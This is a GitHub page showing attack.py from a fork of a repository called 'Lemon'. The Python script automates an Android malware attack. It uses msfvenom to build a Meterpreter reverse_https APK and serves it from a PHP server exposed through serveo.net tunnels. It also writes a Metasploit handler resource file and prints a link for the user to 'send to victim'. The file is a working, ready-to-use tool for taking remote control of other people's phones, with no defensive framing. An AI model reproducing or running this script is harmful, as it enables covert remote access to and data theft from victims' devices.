forked from sanju85/Lemon
-
Notifications
You must be signed in to change notification settings - Fork 0
/
attack.py
89 lines (70 loc) · 2.16 KB
/
attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
import random
import requests
import subprocess
import time
import re
import threading
import sys
R='\033[1;31m'
cycle = ['|', '/', '-', '\\']
string = '[*] Generating payload ..'
list = []
for c in string:
list.append(c)
port = random.randint(4444, 5555)
for na in os.listdir(str(os.getcwd())):
if na == 'automate.rc':
os.remove('automate.rc')
with open('automate.rc', 'w') as f:
f.write(f'use exploit/multi/handler\nset payload android/meterpreter/reverse_https\nset LHOST serveousercontent.com\nset LPORT {port}')
def animate():
for n in range(len(list)):
for c in cycle:
old = list[n]
list[n] = old.upper()
final = "".join(list)
sys.stdout.write('\r')
sys.stdout.write(f"{final} {c}")
sys.stdout.flush()
list[n] = old
time.sleep(0.1)
def check():
try:
requests.get('https://www.google.com', verify=True)
status = True
except Exception:
status = False
if status == False:
print(R)
print('Error : No Internet connection')
exit()
else:
pass
name = input ('[*] Enter APK name: ')
if not name.endswith('.apk'):
name = f"{name}.apk"
os.system('clear')
subprocess.Popen(["php", "-t", "/data/data/com.termux/files/home/Lemon", "-S", "localhost:4545"])
time.sleep(2)
print('\n[*] PHP Server started\n')
check()
print('\n[*] Forwarding HTTP port..\n')
ser = subprocess.Popen('ssh -o StrictHostKeyChecking=accept-new -R 80:localhost:4545 serveo.net', shell=True, stdout=subprocess.PIPE)
link = ser.stdout.readline()
link = link.decode('utf8')
link = link[34:]
print(f"\nSend this link to victim after starting Handler : {link}/{name}")
time.sleep(7)
print('\n')
def generate():
generate = subprocess.call(f"msfvenom -p android/meterpreter/reverse_https LHOST=serveousercontent.com LPORT={port} R> $HOME/Lemon/{name}", shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
gen = threading.Thread(target=generate)
gen.daemon=True
gen.start()
while gen.is_alive():
animate()
print('\n\n[*] Forwarding TCP port..\n')
subprocess.Popen(["ssh", "-o", "StrictHostKeyChecking=accept-new", "-R", f"{port}:localhost:{port}", "serveo.net"])
time.sleep(7)
print("\n\n\nOpen a new session and give command : 'msfconsole -r automate.rc'")